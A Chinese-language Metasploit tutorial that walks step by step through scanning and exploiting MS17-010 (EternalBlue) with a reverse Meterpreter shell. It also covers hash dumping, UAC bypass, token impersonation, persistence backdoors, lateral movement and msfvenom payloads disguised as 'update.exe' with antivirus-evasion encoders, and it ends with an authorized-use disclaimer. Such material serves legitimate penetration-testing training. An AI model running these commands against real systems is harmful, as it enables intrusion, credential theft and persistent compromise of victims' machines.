Metasploit 漏洞利用：渗透测试框架实战

FreeGuideOnline 最新 2026-06-13

Metasploit 漏洞利用：渗透测试框架实战

Metasploit 是全球安全社区使用最广泛的渗透测试框架。它整合了漏洞扫描、漏洞利用、Payload 生成、后渗透控制等功能，让安全人员以统一的方式模拟真实攻击。本教程将带你从零开始，系统掌握基于 Metasploit 的漏洞利用实战技能，所有内容均可在免费在线环境中练习。

什么是 Metasploit 与漏洞利用

Metasploit 是一个开源安全项目，其核心是 Metasploit Framework (msfconsole)。它预制了超过 2000 个漏洞利用模块和数百种 Payload，并配有强大的数据库和自动化脚本接口。无论是测试已知的 CVE 漏洞，还是通过社会工程学获取初始立足点，Metasploit 都能将复杂的渗透链转化为可重复执行的命令序列。

漏洞利用 (Exploitation) 是指利用目标系统上的安全弱点（如缓冲区溢出、配置错误、未授权访问）来执行攻击者代码的过程。在 Metasploit 中，一次标准利用通常包含三个组件：

  • Exploit 模块：触发漏洞的代码，负责将 Payload 投递到目标。
  • Payload：漏洞利用成功后要在目标上执行的代码，常见的有反向 Shell (reverse_tcp) 或 Meterpreter。
  • Handler：在攻击机上监听的处理器，用于接收来自目标的回连。

在 Kali Linux 中启动 Metasploit

大多数渗透测试发行版（如 Kali Linux）已预装 Metasploit。启动终端后，先确保 PostgreSQL 数据库服务正常运行，然后进入控制台。

sudo systemctl start postgresql
sudo msfdb init        # 初始化数据库
msfconsole             # 启动 Metasploit 交互界面

进入 msfconsole 后，你会看到标志性的横幅。常用初始化命令：

db_status              # 检查数据库连接
version                # 查看框架版本
help                   # 获取帮助菜单

核心概念：模块与工作区

Metasploit 将所有功能组织为模块，存放于 /usr/share/metasploit-framework/modules/ 目录下。常用模块类型：

类型 用途 示例
exploit 触发漏洞并投递 Payload exploit/windows/smb/ms17_010_eternalblue
auxiliary 扫描、信息收集、拒绝服务等辅助功能 auxiliary/scanner/smb/smb_version
post 后渗透模块，如提权、信息收集 post/windows/gather/hashdump
payload 攻击载荷，生成特定类型连接 windows/x64/meterpreter/reverse_tcp

为了管理多个渗透项目，Metasploit 提供 工作区 (Workspace)。不同项目的数据彼此隔离。

workspace -a myproject    # 创建新工作区
workspace myproject       # 切换到该工作区
workspace                 # 查看当前工作区

第一个漏洞利用：从扫描到获取 Shell

下面通过一个经典场景（针对未打补丁的 SMB 漏洞）演示完整流程。请务必仅在授权环境中测试。

步骤一：目标枚举与漏洞扫描

使用辅助模块扫描目标网段，识别开放 SMB 服务及版本。

use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 10
run

扫描结果会显示每个主机的操作系统版本和 SMB 版本，并自动保存到当前工作区的数据库中。之后可通过 hosts 和 services 命令快速查看。

步骤二：漏洞验证

确认某台 Windows 7 主机 (192.168.1.105) 存在 MS17-010 漏洞（永恒之蓝）。

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.105
run

如果输出显示 Host is likely VULNERABLE to MS17-010!，说明目标确实存在该漏洞。

步骤三：选择漏洞利用模块并配置

加载漏洞利用模块，查看需要的选项。

use exploit/windows/smb/ms17_010_eternalblue
show options

必需参数通常有 RHOSTS（目标 IP）和 PAYLOAD。设置目标并选择合适的 Payload。Windows 7 x64 下推荐使用反向 Meterpreter。

set RHOSTS 192.168.1.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show options

接着设置攻击机的监听地址和端口。LHOST 必须是目标能访问到的 IP。

set LHOST 192.168.1.100
set LPORT 4444

检查是否有高级选项需要调整（如 ShowAdvanced），通常默认即可。

步骤四：执行漏洞利用

exploit

如果漏洞利用成功，你会看到类似 Meterpreter session 1 opened 的消息，并自动跳转到 Meterpreter 交互界面。

理解 Payload 与 Meterpreter

Payload 决定了利用成功后建立的控制通道类型。最常用的是 windows/x64/meterpreter/reverse_tcp：

  • meterpreter 是高级动态载荷，运行于内存中，不留痕迹。
  • reverse_tcp 表示目标主动回连攻击机，NAT 友好。

其他常见 Payload：

  • shell_reverse_tcp：简单反向 Shell，比 Meterpreter 轻量但功能少。
  • bind_tcp：让目标开放一个端口，攻击者主动连接（适合内网无出网限制场景）。

获得 Meterpreter 会话后，可以执行丰富的后渗透命令：

sysinfo             # 查看系统信息
getuid              # 查看当前用户权限
ps                  # 列出进程
upload /local/path /target/path   # 上传文件
download /target/file /local/     # 下载文件
hashdump            # 提取本地 SAM 哈希（需 SYSTEM 权限）
shell               # 进入 cmd
background          # 将当前会话放入后台

要管理会话，使用 session 命令：

sessions -l          # 列出所有会话
sessions -i 1        # 重新进入会话 1
sessions -k 1        # 终止会话 1

后渗透阶段常用操作

提权与令牌窃取

如果初始会话权限较低（如普通用户），可尝试本地提权模块。

# 使用 UAC 绕过模块
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
set LHOST 192.168.1.100
exploit

成功后获得一个新的高权限会话。在 Meterpreter 中也可以使用内置命令提升权限：

getsystem          # 尝试自动提权到 SYSTEM

对于域环境，使用 load incognito 加载令牌窃取扩展，然后 list_tokens -u 列出可用用户令牌，impersonate_token DOMAIN\\User 模拟高权限令牌。

持久化访问

为了保持对目标系统的长期控制，可以安装后门服务或使用持久化模块。

run persistence -U -i 10 -p 4444 -r 192.168.1.100

这会在用户启动时自动建立反向连接。更现代的方法是使用 exploit/windows/local/persistence_service 或注册表自启动脚本。

内网横向移动

Metasploit 支持通过已攻陷主机进一步扫描内网。先添加路由：

route add 10.10.10.0 255.255.255.0 1   # 通过会话 1 访问该网段

然后可使用 auxiliary/scanner/discovery/arp_sweep 等模块探测存活主机，或利用 exploit/windows/smb/psexec 配合窃取的哈希值对其它主机发起攻击。

自定义 Payload 生成与免杀

有时我们需要将 Payload 生成为可执行文件，通过钓鱼邮件或下载上传送达。msfvenom 是独立的 Payload 生成工具，支持多种编码和模板。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o update.exe

常用选项：

  • -e x86/shikata_ga_nai：使用编码器（多次迭代可绕过部分防病毒，但静态分析仍需结合其他手段）。
  • -x /usr/share/windows-binaries/plink.exe：将 Payload 注入合法可执行文件。
  • -f python：生成 Python 格式 Payload，适合 Web 环境。

生成的 Payload 执行后，需提前在 msfconsole 中启动监听器：

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j          # 作为后台任务运行

自动化与脚本编写

Metasploit 支持资源脚本 (.rc 文件)，将重复命令自动化。例如新建 scan_eternal.rc：

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
set THREADS 10
run
exit

在 msfconsole 中执行：resource scan_eternal.rc。这可以极大提高多目标渗透的效率。

对于更复杂的自动化，可以使用 exploit -z 在成功后自动将会话转为后台，然后通过 session -s 对所有会话自动运行指定命令。

安全注意与法律声明

Metasploit 是一款威力强大的双刃剑。本教程所有技术仅供合法授权渗透测试、安全研究或个人教育使用。未经明确授权对非自有系统进行攻击属于违法行为。练习时应使用自建靶机（如 Metasploitable、HackTheBox、TryHackMe 等免费平台）。

深入学习路径

  • 官方文档：https://docs.metasploit.com/
  • 在线靶场：TryHackMe 的 Metasploit 房间、Offensive Security Proving Grounds Play
  • 书籍推荐：《Metasploit: The Penetration Tester's Guide》
  • 模块探索：在 msfconsole 中 search 命令支持 CVE、平台、关键字检索，实践是最好的老师

掌握 Metasploit 漏洞利用不是记忆命令，而是理解攻防链路的思维。持续练习、保持更新，你将在渗透测试领域走得更远。